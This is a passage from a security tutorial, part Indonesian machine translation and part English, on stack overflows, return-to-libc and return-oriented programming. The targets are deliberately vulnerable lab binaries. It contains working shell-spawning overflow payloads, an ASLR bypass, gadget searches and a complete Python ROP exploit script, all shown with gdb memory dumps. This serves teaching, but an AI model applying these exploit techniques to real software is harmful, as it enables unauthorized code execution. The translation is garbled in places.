0xffffd0f0: 0xf7ffdad0 0xf7fd5780 0xf7fe1e39 0xf7fd8128
0xffffd100: 0x00000007 0xf7ffdc08 0x6e43a318 0xf7fe263d
0xffffd110: 0x00000000 0x00000000 0xf7fd81a0 0x00000007
0xffffd120: 0xf7fd81c0 0xf7ffdc08 0xffffd17c 0xffffd178
0xffffd130: 0x00000001 0x00000000 0xf7ffd000 0xf7f6d2a2
0xffffd140: 0x6e43a318 0xf7fe1f60 0xf7e252e5 0x0804825e
0xffffd150: 0xf7fd81a0 0x03721d18 0xf7ff5ac4 0xffffd208
0xffffd160: 0xf7ff39f3 0x0d696910 0xf7ffd000 0x00000000
0xffffd170: 0xf7fe1e39 0xf7e15d14 0x000008ea 0xf7fd51b0
0xffffd180: 0xf63d4e2e 0xf7fe263d 0x00000001 0x00000001
0xffffd190: 0xf7e1edc8 0x000008ea 0xf7e1f618 0xf7fd51b0
0xffffd1a0: 0xffffd1f4 0xffffd1f0 0x00000003 0x00000000
0xffffd1b0: 0xf7ffd000 0x0804823d 0xf63d4e2e 0xf7e15f12
0xffffd1c0: 0x000008ea 0xf7e1f618 0xf7e1edc8 0x07b1ea71
0xffffd1d0: 0xf7ff5ac4 0xffffd280 0xf7ff39f3 0xf7fd5470
0xffffd1e0: 0x00000000 0x00000000 0xf7ffd000 0xf7ffdc08
0xffffd1f0: 0x00000000 0x00000000 0x00000000 0xffffd28c
0xffffd200: 0xf7fe1fc9 0x00000000 0xf7ffdad0 0xffffd288
0xffffd210: 0xffffd2d0 0xf7fe2b4b 0x080481fc 0xffffd288
0xffffd220: 0xf7ffda74 0x00000001 0xf7fd54a0 0x00000001
0xffffd230: 0x00000000 0x00000001 0xf7ffd918 0x00f0b5ff
0xffffd240: 0xffffd27e 0x00000001 0x000000c2 0xf7ea26bb
dengan mengikuti petunjuk ini, isi dari buffermenjadi:
pwndbg> p &buffer
$2 = (char (*)[512]) 0xffffd0c0
0xffffd0c0: 0x00000070 0xf7feff96 0xf7fe933d 0xf7fe1f60
0xffffd0d0: 0xf7fd8241 0xf7f6d298 0xf7ffd53c 0xf7fe4017
0xffffd0e0: 0xf7ffc000 0x00001000 0x00000001 0x03ae75f6
0xffffd0f0: 0xf7ffdad0 0xf7fd5780 0xf7fe1e39 0xf7fd8128
0xffffd100: 0x00000007 0xf7ffdc08 0x6e43a318 0xf7fe263d
0xffffd110: 0x00000000 0x00000000 0xf7fd81a0 0x00000007
0xffffd120: 0xf7fd81c0 0xf7ffdc08 0xffffd17c 0xffffd178
0xffffd130: 0x00000001 0x00000000 0xf7ffd000 0xf7f6d2a2
0xffffd140: 0x6e43a318 0xf7fe1f60 0xf7e252e5 0x0804825e
0xffffd150: 0xf7fd81a0 0x03721d18 0xf7ff5ac4 0xffffd208
0xffffd160: 0xf7ff39f3 0x0d696910 0xf7ffd000 0x00000000
0xffffd170: 0xf7fe1e39 0xf7e15d14 0x000008ea 0xf7fd51b0
0xffffd180: 0xf63d4e2e 0xf7fe263d 0x00000001 0x00000001
0xffffd190: 0xf7e1edc8 0x000008ea 0xf7e1f618 0xf7fd51b0
0xffffd1a0: 0xffffd1f4 0xffffd1f0 0x00000003 0x00000000
0xffffd1b0: 0xf7ffd000 0x0804823d 0xf63d4e2e 0xf7e15f12
0xffffd1c0: 0x000008ea 0xf7e1f618 0xf7e1edc8 0x07b1ea71
0xffffd1d0: 0xf7ff5ac4 0xffffd280 0xf7ff39f3 0xf7fd5470
0xffffd1e0: 0x00000000 0x00000000 0xf7ffd000 0xf7ffdc08
0xffffd1f0: 0x00000000 0x00000000 0x00000000 0xffffd28c
0xffffd200: 0xf7fe1fc9 0x00000000 0xf7ffdad0 0xffffd288
0xffffd210: 0xffffd2d0 0xf7fe2b4b 0x080481fc 0xffffd288
0xffffd220: 0xf7ffda74 0x00000001 0xf7fd54a0 0x00000001
0xffffd230: 0x00000000 0x00000001 0xf7ffd918 0x00f0b5ff
0xffffd240: 0xffffd27e 0x00000001 0x000000c2 0xf7ea26bb
yang tampaknya tidak berubah. Ada yang tidak berfungsi dengan baik. Ikuti dari sini .
Mari kita luncurkan exploit2:
# Terminal 1
./exploit2 600 1564
gdb --args ./vulnerable $EGG
Sumber daya
[1] A. One (1996). Menghancurkan Tumpukan untuk Kesenangan dan Keuntungan. Phrack, 7. Diperoleh dari http://insecure.org/stf/smashstack.html.
[2] Eksperimen dasar stack overflow. Diperoleh dari https://github.com/vmayoral/cybersecurity_specialization/tree/master/software_security/week1.
Kembali kelibc
Menurut [4], serangan “return-to-libc” adalah serangan keamanan komputer yang biasanya dimulai dengan buffer overflow di mana alamat pengembalian subroutine pada tumpukan panggilan digantikan dengan alamat subroutine yang sudah ada di memori eksekusi proses, melewati fitur bit NX (jika ada) dan menghilangkan kebutuhan penyerang untuk menyuntikkan kode mereka sendiri.
Catatan : seperti pada tutorial sebelumnya, ada kontainer docker yang memudahkan reproduksi karya tutorial ini. Kontainer dapat dibangun dengan:
docker build -t basic_cybersecurity4:latest .
dan dijalankan dengan:
docker run --privileged -it basic_cybersecurity4:latest
Menemukan kerentanan, luapan sederhana
Kita akan menggunakan program berikut bernama rlibc1.c:
void not_called() {
printf("Enjoy your shell!\n");
system("/bin/bash");
}
void vulnerable_function(char* string) {
char buffer[100];
strcpy(buffer, string);
}
int main(int argc, char** argv) {
vulnerable_function(argv[1]);
return 0;
}
Mari kita dapatkan sedikit informasi lebih lanjut tentang struktur program dalam memori: ( dikompilasi dengan -fno-stack-protector -z execstackbendera )
>>> disas vulnerable_function
Dump of assembler code for function vulnerable_function:
0x0804849d <+0>: push %ebp
0x0804849e <+1>: mov %esp,%ebp
0x080484a0 <+3>: sub $0x88,%esp
0x080484a6 <+9>: mov 0x8(%ebp),%eax
0x080484a9 <+12>: mov %eax,0x4(%esp)
0x080484ad <+16>: lea -0x6c(%ebp),%eax
0x080484b0 <+19>: mov %eax,(%esp)
0x080484b3 <+22>: call 0x8048330 <strcpy@plt>
0x080484b8 <+27>: leave
0x080484b9 <+28>: ret
End of assembler dump.
>>> p not_called
$1 = {void ()} 0x804847d <not_called>
>>>
tepat sebelum panggilan ke strcpy@plt, tumpukan dan register terlihat seperti:
─── Memory ───────────────────────────────────────────────────────────────────────────────
address buffer address string
0xffffd750 [6c d7 ff ff] [ba d9 ff ff] 01 00 00 00 38 d9 ff f7 l...........8...
buffer
0xffffd760 00 00 00 00 00 00 00 00 00 00 00 00 [00 00 00 00 ................
0xffffd770 03 00 00 00 09 00 00 00 3f 00 c0 03 00 00 00 00 .... ...?.......
0xffffd780 34 d8 ff ff a8 d7 ff ff a0 d7 ff ff 69 82 04 08 4...........i...
0xffffd790 38 d9 ff f7 00 00 00 00 c2 00 00 00 56 ad eb f7 8...........V...
0xffffd7a0 ff ff ff ff ce d7 ff ff 34 0c e3 f7 f3 72 e5 f7 ........4 ...r..
0xffffd7b0 00 00 00 00 00 00 c3 00 01 00 00 00 fd 82 04 08 ................
0xffffd7c0 a2 d9 ff ff 2f 00 00 00 00 a0 04 08 32 85 04 08] ..../.......2...
ebp ret
0xffffd7d0 02 00 00 00 94 d8 ff ff [f8 d7 ff ff] [d3 84 04 08] ................
string
0xffffd7e0 [ba d9 ff ff] 00 d0 ff f7 eb 84 04 08 00 10 fd f7 ................
0xffffd7f0 e0 84 04 08 00 00 00 00 00 00 00 00 f3 da e3 f7 ................
0xffffd800 02 00 00 00 94 d8 ff ff a0 d8 ff ff 6a ae fe f7 ............j...
0xffffd810 02 00 00 00 94 d8 ff ff 34 d8 ff ff 1c a0 04 08 ........4.......
0xffffd820 3c 82 04 08 00 10 fd f7 00 00 00 00 00 00 00 00 <...............
0xffffd830 00 00 00 00 cd fd 26 9d dd 99 23 a5 00 00 00 00 ......&...#.....
0xffffd840 00 00 00 00 00 00 00 00 02 00 00 00 80 83 04 08 ................
─── Registers ────────────────────────────────────────────────────────────────────────────
eax 0xffffd76c ecx 0xa52399dd edx 0xffffd824 ebx 0xf7fd1000
esp 0xffffd74c ebp 0xffffd7d8 esi 0x00000000 edi 0x00000000
eip 0x08048330 eflags [ PF SF IF ] cs 0x00000023 ss 0x0000002b
ds 0x0000002b es 0x0000002b fs 0x00000000 gs 0x00000063
Representasi tumpukan lain yang tersedia di [3] adalah:
higher | <arguments2> |
address | <return address> |
| <old %ebp> | <= %ebp
| <0x6c bytes of |
| ... |
| buffer> |
| <arguments1> |
lower | <address of buffer> | <= %esp
Perhatikan bahwa permulaan tumpukan telah diisi dengan parameter untuk panggilan ke strcpy( arguments2).
Peluncuran ./rlibc1_noprotection "$(python -c 'print "A"*0x6c + "BBBB" + "\x7d\x84\x04\x08"')"kami memperoleh:
Enjoy your shell!
root@44522cd9481b:~#
Of course, this is with the stack protection disabled, when compiling the program without disabling this protections, the program just crashes and we can’t perform the buffer overflow.
root@3bf52dad8e1d:~# ./rlibc1 "$(python -c 'print "A"*0x6c + "BBBB" + "\x7d\x84\x04\x08"')"
*** stack smashing detected ***: ./rlibc1 terminated
Aborted
Playing with arguments
Let’s play with a slightly different program named rlibc2.c:
char* not_used = "/bin/sh";
void not_called() {
printf("Not quite a shell...\n");
system("/bin/date");
}
void vulnerable_function(char* string) {
char buffer[100];
strcpy(buffer, string);
}
int main(int argc, char** argv) {
vulnerable_function(argv[1]);
return 0;
}
We debug the program to obtain information about the system call and the not_used variable:
>>> disassemble not_called
Dump of assembler code for function not_called:
0x0804847d <+0>: push %ebp
0x0804847e <+1>: mov %esp,%ebp
0x08048480 <+3>: sub $0x18,%esp
0x08048483 <+6>: movl $0x8048578,(%esp)
0x0804848a <+13>: call 0x8048340 <puts@plt>
0x0804848f <+18>: movl $0x804858d,(%esp)
0x08048496 <+25>: call 0x8048350 <system@plt>
0x0804849b <+30>: leave
0x0804849c <+31>: ret
End of assembler dump.
>>> p not_used
$5 = 0x8048570 "/bin/sh"
The idea behind the exploit is to overflow the buffer with the strcpy call and modify the return address to point to the system call address with apprlibcriate parameters (not the default ones which will call /bin/date). The stack should look like:
| 0x8048570 <not_used> |
| 0x43434343 <fake return address> |
| 0x8048350 <address of system> |
| 0x42424242 <fake old %ebp> |
| 0x41414141 ... |
| ... (0x6c bytes of 'A's) |
| ... 0x41414141 |
root@3bf52dad8e1d:~# ./rlibc2_noprotection "$(python -c 'print "A"*0x6c + "BBBB" + "\x50\x83\x04\x08" + "CCCC" + "\x70\x85\x04\x08"')"
#
(note, while debugging and playing with the overflow, the following command allows to exit normally gdb --args ./rlibc2_noprotection "$(python -c 'print "A"*0x6c + "\x78\xd7\xff\xff" + "\x50\x83\x04\x08" + "\xd3\x84\x04\x08" + "\x70\x85\x04\x08"')".)
Return to libc attack
From [3], the trick is to realize that programs that use functions from a shared library, like printf from libc, will link the entire library into their address space at run time. This means that even if they never call system, the code for system (and every other function in libc) is accessible at runtime. We can see this fairly easy in gdb:
>>> p system
$1 = {<text variable, no debug info>} 0x555be310 <__libc_system>
>>> find 0x555be310, +99999999, "/bin/sh"
0x556e0d4c
warning: Unable to access 16000 bytes of target memory at 0x5572ef54, halting search.
1 pattern found.
Now from gdb:
gdb --args rlibc2_noprotection "$(python -c 'print "A"*0x6c + "BBBB" + "\x10\xe3\x5b\x55" + "CCCC" + "\x4c\x0d\x6e\x55"')"
we’ll get a shell. This however does not happen when launched directly from the command line due to ASLR [5]. To bypass this:
ulimit -s unlimited # from[3], disable library randomization on 32-bit programs
./rlibc2_noprotection "$(python -c 'print "A"*0x6c + "BBBB" + "\x10\xe3\x5b\x55" + "CCCC" + "\x4c\x0d\x6e\x55"')"
Resources
[1] M. Hicks (2014), Software Security, Coursera, Cybersecurity Specialization, University of Maryland, College Park, https://www.coursera.org/learn/software-security.
[2] Hovav Shacham (2007), The geometry of innocent flesh on the bone: return-into-libc without function calls (on the x86). In Proceedings of the 14th ACM conference on Computer and communications security (CCS ’07). ACM, New York, NY, USA, 552-561. DOI: https://doi.org/10.1145/1315245.1315313
[3] Alex Reece (2013). Introduction to return oriented programming (ROP). Retrieved from http://codearcana.com/posts/2013/05/28/introduction-to-return-oriented-programming-rop.html.
[4] Wikipedia. Return-to-libc attack. Retrieved from https://en.wikipedia.org/wiki/Return-to-libc_attack.
[5] Wikipedia. Address space layout randomization. Retrieved from https://en.wikipedia.org/wiki/Address_space_layout_randomization.
Return-Oriented Programming (ROP)
Return-Oriented Programming or ROP for short combines a large number of short instruction sequences to build gadgets that allow arbitrary computation. From [3]:
Return Oriented Programming (ROP) is a powerful technique used to counter common exploit prevention strategies. In particular, ROP is useful for circumventing Address Space Layout Randomization (ASLR) and NX/DEP. When using ROP, an attacker uses his/her control over the stack right before the return from a function to direct code execution to some other location in the program. Except on very hardened binaries, attackers can easily find a portion of code that is located in a fixed location (circumventing ASLR) and which is executable (circumventing DEP). Furthermore, it is relatively straightforward to chain several payloads to achieve (almost) arbitrary code execution.
Note: as in previous tutorials, there’s a docker container that facilitates reproducing the work of this tutorial. The container can be built with:
docker build -t basic_cybersecurity5:latest .
and runned with:
docker run --privileged -it basic_cybersecurity5:latest
The content used for this tutorial will be heavily relying on [3]. The tutorial’s objective is to learn about the basic concept of return-oriented programming (ROP).
From [9]:
NX/DEP
DEP stands for data execution prevention, this technique marks areas of memory as non executable. Usually the stack and heap are marked as non executable thus preventing attacker from executing code residing in these regions of memory.
ASLR
ASLR stands for Address Space Layer Randomization. This technique randomizes address of memory where shared libraries , stack and heap are maapped at. This prevent attacker from predicting where to take EIP , since attacker does not knows address of his malicious payload.
Stack Canaries
In this technique compiler places a randomized guard value after stack frame’s local variables and before the saved return address. This guard is checked before function returns if it’s not same then program exits.
From ret-to-libc to ROP
From [3], > With ROP, it is possible to do far more powerful things than calling a single function. In fact, we can use it to run arbitrary code6 rather than just calling functions we have available to us. We do this by returning to gadgets, which are short sequences of instructions ending in a ret. > > We can also use ROP to chain function calls: rather than a dummy return address, we use a pop; ret gadget to move the stack above the arguments to the first function. Since we are just using the pop; ret gadget to adjust the stack, we don’t care what register it pops into (the value will be ignored anyways). As an example, we’ll exploit the following binary
char string[100];
void exec_string() {
system(string);
}
void add_bin(int magic) {
if (magic == 0xdeadbeef) {
strcat(string, "/bin");
}
}
void add_sh(int magic1, int magic2) {
if (magic1 == 0xcafebabe && magic2 == 0x0badf00d) {
strcat(string, "/sh");
}
}
void vulnerable_function(char* string) {
char buffer[100];
strcpy(buffer, string);
}
int main(int argc, char** argv) {
string[0] = 0;
vulnerable_function(argv[1]);
return 0;
}
We can see that the goal is to call add_bin, then add_sh, then exec_string. When we call add_bin, the stack must look like:
high | <argument> |
low | <return address> |
In our case, we want the argument to be 0xdeadbeef we want the return address to be a pop; ret gadget. This will remove 0xdeadbeef from the stack and return to the next gadget on the stack. We thus have a gadget to call add_bin(0xdeadbeef) that looks like:
high | 0xdeadbeef |
| <address of pop; ret> |
| <address of add_bin> |
(this is a gadget)
Karena add_sh(0xcafebabe, 0x0badf00d)menggunakan dua argumen, kita memerlukan pop; pop; ret:
high | 0x0badf00d |
| 0xcafebabe |
| <address of pop; pop; ret> |
| <address of add_sh> |
( perhatikan bagaimana gadget dirangkai dengan gadget yang dieksekusi pertama kali di alamat memori terendah (lebih dekat ke penunjuk tumpukan) )
Menyatukan semuanya:
high | <address of exec_string> |
| 0x0badf00d |
| 0xcafebabe |
| <address of pop; pop; ret> |
| <address of add_sh> |
| 0xdeadbeef |
| <address of pop; ret> |
| <address of add_bin> |
| 0x42424242 (fake saved %ebp) |
| 0x41414141 ... |
| ... (0x6c bytes of 'A's) |
| ... 0x41414141 |
Dengan diagram ini, mari kita cari tahu alamatnya. Pertama, fungsinya:
>>> p &exec_string
$1 = (void (*)()) 0x804844d <exec_string>
>>> p &add_bin
$2 = (void (*)(int)) 0x8048461 <add_bin>
>>> p &add_sh
$3 = (void (*)(int, int)) 0x804849c <add_sh>
Untuk mendapatkan gadget dan mengidentifikasi yang tepat, kita dapat menggunakan dumpropPEDA [11], atau rp++[12]:
A total of 162 gadgets found.
0x0804870b: adc al, 0x41 ; ret ; (1 found)
0x08048497: add al, 0x00 ; pop edi ; pop ebp ; ret ; (1 found)
0x0804830a: add al, 0x08 ; add byte [eax], al ; add byte [eax], al ; jmp dword [0x0804A00C] ; (1 found)
0x08048418: add al, 0x08 ; add ecx, ecx ; rep ret ; (1 found)
0x080483b4: add al, 0x08 ; call eax ; (1 found)
0x0804843d: add al, 0x08 ; call eax ; (1 found)
0x080483f1: add al, 0x08 ; call edx ; (1 found)
0x08048304: add al, 0x08 ; jmp dword [0x0804A008] ; (1 found)
0x080483b0: add al, 0x24 ; and al, 0xA0 ; add al, 0x08 ; call eax ; (1 found)
0x080483ed: add al, 0x24 ; and al, 0xA0 ; add al, 0x08 ; call edx ; (1 found)
0x08048302: add al, 0xA0 ; add al, 0x08 ; jmp dword [0x0804A008] ; (1 found)
0x080482ff: add bh, bh ; xor eax, 0x0804A004 ; jmp dword [0x0804A008] ; (1 found)
0x080482fd: add byte [eax], al ; add bh, bh ; xor eax, 0x0804A004 ; jmp dword [0x0804A008] ; (1 found)
0x0804830c: add byte [eax], al ; add byte [eax], al ; jmp dword [0x0804A00C] ; (1 found)
0x0804851a: add byte [eax], al ; add byte [eax], al ; leave ; ret ; (1 found)
...
Secara khusus kami menyaring berdasarkan pop:
root@74929f891a04:~# ./rp++ -f rop6 -r 3 | grep pop
0x08048497: add al, 0x00 ; pop edi ; pop ebp ; ret ; (1 found)
0x080482f0: add byte [eax], al ; add esp, 0x08 ; pop ebx ; ret ; (1 found)
0x080485a1: add byte [eax], al ; add esp, 0x08 ; pop ebx ; ret ; (1 found)
0x0804859d: add ebx, 0x00001A63 ; add esp, 0x08 ; pop ebx ; ret ; (1 found)
0x080482f2: add esp, 0x08 ; pop ebx ; ret ; (1 found)
0x080485a3: add esp, 0x08 ; pop ebx ; ret ; (1 found)
0x08048578: fild word [ebx+0x5E5B1CC4] ; pop edi ; pop ebp ; ret ; (1 found)
0x08048493: imul ebp, dword [esi-0x3A], 0x5F000440 ; pop ebp ; ret ; (1 found)
0x080482f3: les ecx, [eax] ; pop ebx ; ret ; (1 found)
0x080485a4: les ecx, [eax] ; pop ebx ; ret ; (1 found)
0x08048495: mov byte [eax+0x04], 0x00000000 ; pop edi ; pop ebp ; ret ; (1 found)
0x080484d3: mov dword [eax], 0x0068732F ; pop edi ; pop ebp ; ret ; (1 found)
0x0804849a: pop ebp ; ret ; (1 found)
0x080484da: pop ebp ; ret ; (1 found)
0x0804857f: pop ebp ; ret ; (1 found)
0x080482f5: pop ebx ; ret ; (1 found)
0x080485a6: pop ebx ; ret ; (1 found)
0x08048499: pop edi ; pop ebp ; ret ; (1 found)
0x080484d9: pop edi ; pop ebp ; ret ; (1 found)
0x0804857e: pop edi ; pop ebp ; ret ; (1 found)
0x0804857d: pop esi ; pop edi ; pop ebp ; ret ; (1 found)
Dari konten di atas, kami memilih 0x080485a6(pop; ret) dan 0x08048499(pop; pop; ret).
Alternatifnya, dengan menggunakan objdump -d rop6, kita dapat menemukan sebagian besar informasi ini secara visual.
Dengan semua informasi ini, kami melanjutkan dan membangun skrip yang menggabungkan semuanya:
#!/usr/bin/python
import os
import struct
# These values were found with `objdump -d a.out`.
pop_ret = 0x080485a6
pop_pop_ret = 0x08048499
exec_string = 0x804844d
add_bin = 0x8048461
add_sh = 0x804849c
# First, the buffer overflow.
payload = "A"*0x6c
payload += "BBBB"
# The add_bin(0xdeadbeef) gadget.
payload += struct.pack("I", add_bin)
payload += struct.pack("I", pop_ret)
payload += struct.pack("I", 0xdeadbeef)
# The add_sh(0xcafebabe, 0x0badf00d) gadget.
payload += struct.pack("I", add_sh)
payload += struct.pack("I", pop_pop_ret)
payload += struct.pack("I", 0xcafebabe)
payload += struct.pack("I", 0xbadf00d)
# Our final destination.
payload += struct.pack("I", exec_string)
print(payload)
os.system("./rop6 \"%s\"" % payload)
Menjalankan ini:
root@5daa0de3a6d9:~# python rop6_exploit.py
?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBa?ᆳޜ?????
M?
# ls
checksec.sh rop1 rop1_noprotection rop2.c rop3 rop4 rop5 rop6 rop6_exploit.py
peda rop1.c rop2 rop2_noprotection rop3.c rop4.c rop5.c rop6.c rp++
# uname -a
Linux 5daa0de3a6d9 4.9.87-linuxkit-aufs #1 SMP Wed Mar 14 15:12:16 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Mari kita menganalisis memori secara lebih rinci untuk memahami perilaku skrip:
─── Memory ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
esp
0xffffd6d0 [ec d6 ff ff] 39 d9 ff ff 01 00 00 00 38 d9 ff f7 ....9.......8...
0xffffd6e0 00 00 00 00 00 00 00 00 00 00 00 00 41 41 41 41 ............AAAA
0xffffd6f0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xffffd700 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xffffd710 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xffffd720 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xffffd730 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xffffd740 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
ebp ret
0xffffd750 41 41 41 41 41 41 41 41 [42 42 42 42] [61 84 04 08] AAAAAAAABBBBa...
0xffffd760 a6 85 04 08 ef be ad de 9c 84 04 08 99 84 04 08 ................
0xffffd770 be ba fe ca 0d f0 ad 0b 4d 84 04 08 00 ca e3 f7 .... .. M.......
0xffffd780 02 00 00 00 14 d8 ff ff 20 d8 ff ff 6a ae fe f7 ........ ...j...
0xffffd790 02 00 00 00 14 d8 ff ff b4 d7 ff ff 18 a0 04 08 ................
0xffffd7a0 2c 82 04 08 00 00 fd f7 00 00 00 00 00 00 00 00 ,...............
0xffffd7b0 00 00 00 00 c3 b1 4c c6 d3 d5 76 fe 00 00 00 00 ......L...v.....
0xffffd7c0 00 00 00 00 00 00 00 00 02 00 00 00 50 83 04 08 ............P...
Awalnya dan setelah menyalin argumen (yang dihasilkan dari skrip python) ke tumpukan, penunjuk dasar ebp memiliki nilai 0x42424242(atau "BBBB") yang akan menyebabkan kesalahan segmentasi saat tumpukan kembali. Perhatikan bahwa kami telah menulis ulang alamat pengembalian dengan alamat add_bin, dengan demikian, setelah kami mencapai retinstruksi, kami akan menuju ke sana.
Beberapa instruksi fungsi pertama add_binadalah sebagai berikut:
0x08048461 add_bin+0 push %ebp
0x08048462 add_bin+1 mov %esp,%ebp
0x08048464 add_bin+3 push %edi
0x08048465 add_bin+4 cmpl $0xdeadbeef,0x8(%ebp)
Meninggalkan tumpukan sebagai:
─── Memory ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0xffffd6d0 ec d6 ff ff 39 d9 ff ff 01 00 00 00 38 d9 ff f7 ....9.......8...
0xffffd6e0 00 00 00 00 00 00 00 00 00 00 00 00 41 41 41 41 ............AAAA
0xffffd6f0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xffffd700 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xffffd710 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xffffd720 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xffffd730 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xffffd740 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
esp ebp
0xffffd750 41 41 41 41 41 41 41 41 [00 00 00 00] [42 42 42 42] AAAAAAAA....BBBB
ret magic
0xffffd760 [a6 85 04 08 ef] [be ad de 9c] 84 04 08 99 84 04 08 ................
0xffffd770 be ba fe ca 0d f0 ad 0b 4d 84 04 08 00 ca e3 f7 .... .. M.......
0xffffd780 02 00 00 00 14 d8 ff ff 20 d8 ff ff 6a ae fe f7 ........ ...j...
0xffffd790 02 00 00 00 14 d8 ff ff b4 d7 ff ff 18 a0 04 08 ................
0xffffd7a0 2c 82 04 08 00 00 fd f7 00 00 00 00 00 00 00 00 ,...............
0xffffd7b0 00 00 00 00 c3 b1 4c c6 d3 d5 76 fe 00 00 00 00 ......L...v.....
0xffffd7c0 00 00 00 00 00 00 00 00 02 00 00 00 50 83 04 08 ............P...
perhatikan bahwa register ebpdan editelah didorong ke tumpukan yang memiliki penunjuk tumpukan espdi 0xffffd758. Selain itu, alamat pengembalian fungsi ini akan menjadi 0x080485a6(ret) dan magicdiambil langsung dari tumpukan. Setelah add_bindijalankan, fungsi tersebut kembali ke 0x080485a6yang sebelumnya kita rancang untuk menunjuk ke instruksi berikut:
0x080485a6 _fini+18 pop %ebx
0x080485a7 _fini+19 ret
dengan tumpukan yang terlihat seperti berikut:
─── Memory ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0xffffd6d0 ec d6 ff ff 39 d9 ff ff 01 00 00 00 38 d9 ff f7 ....9.......8...
0xffffd6e0 00 00 00 00 00 00 00 00 00 00 00 00 41 41 41 41 ............AAAA
0xffffd6f0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xffffd700 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xffffd710 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xffffd720 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xffffd730 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xffffd740 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xffffd750 41 41 41 41 41 41 41 41 00 00 00 00 42 42 42 42 AAAAAAAA....BBBB
esp
0xffffd760 a6 85 04 08 [ef be ad de] 9c 84 04 08 99 84 04 08 ................
0xffffd770 be ba fe ca 0d f0 ad 0b 4d 84 04 08 00 ca e3 f7 .... .. M.......
0xffffd780 02 00 00 00 14 d8 ff ff 20 d8 ff ff 6a ae fe f7 ........ ...j...
0xffffd790 02 00 00 00 14 d8 ff ff b4 d7 ff ff 18 a0 04 08 ................
0xffffd7a0 2c 82 04 08 00 00 fd f7 00 00 00 00 00 00 00 00 ,...............
0xffffd7b0 00 00 00 00 c3 b1 4c c6 d3 d5 76 fe 00 00 00 00 ......L...v.....
0xffffd7c0 00 00 00 00 00 00 00 00 02 00 00 00 50 83 04 08 ............P...
Setelah menjalankan instruksi pertama ( 0x080485a6 _fini+18 pop %ebx), tumpukannya terlihat seperti:
─── Memory ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0xffffd6d0 ec d6 ff ff 39 d9 ff ff 01 00 00 00 38 d9 ff f7 ....9.......8...
0xffffd6e0 00 00 00 00 00 00 00 00 00 00 00 00 41 41 41 41 ............AAAA
0xffffd6f0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xffffd700 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xffffd710 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xffffd720 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xffffd730 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xffffd740 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xffffd750 41 41 41 41 41 41 41 41 00 00 00 00 42 42 42 42 AAAAAAAA....BBBB
esp
0xffffd760 a6 85 04 08 ef be ad de [9c 84 04 08] 99 84 04 08 ................
0xffffd770 be ba fe ca 0d f0 ad 0b 4d 84 04 08 00 ca e3 f7 .... .. M.......
0xffffd780 02 00 00 00 14 d8 ff ff 20 d8 ff ff 6a ae fe f7 ........ ...j...
0xffffd790 02 00 00 00 14 d8 ff ff b4 d7 ff ff 18 a0 04 08 ................
0xffffd7a0 2c 82 04 08 00 00 fd f7 00 00 00 00 00 00 00 00 ,...............
0xffffd7b0 00 00 00 00 c3 b1 4c c6 d3 d5 76 fe 00 00 00 00 ......L...v.....
0xffffd7c0 00 00 00 00 00 00 00 00 02 00 00 00 50 83 04 08 ............P...
Penunjuk tumpukan espsekarang menunjuk ke alamat add_sh. Dengan pengaturan ini, instruksi berikutnya ( 0x080485a7 _fini+19 ret) akan membuat penunjuk instruksi eipmenunjuk ke alamat add_sh. Alur tumpukan berlanjut dengan cara yang sama, dengan alamat pengembalian menunjuk ke bagian dalam kode yang "menyesuaikan offset tumpukan" sehingga alur berjalan sesuai keinginan.
### Sumber daya
[1] M. Hicks (2014), Keamanan Perangkat Lunak , Coursera, Spesialisasi Keamanan Siber, Universitas Maryland, College Park, https://www.coursera.org/learn/software-security .
[2] Hovav Shacham (2007), Geometri daging tak berdosa di tulang: kembali ke libc tanpa pemanggilan fungsi (pada x86) . Dalam Prosiding konferensi ACM ke-14 tentang Keamanan komputer dan komunikasi (CCS '07). ACM, New York, NY, AS, 552-561. DOI: https://doi.org/10.1145/1315245.1315313
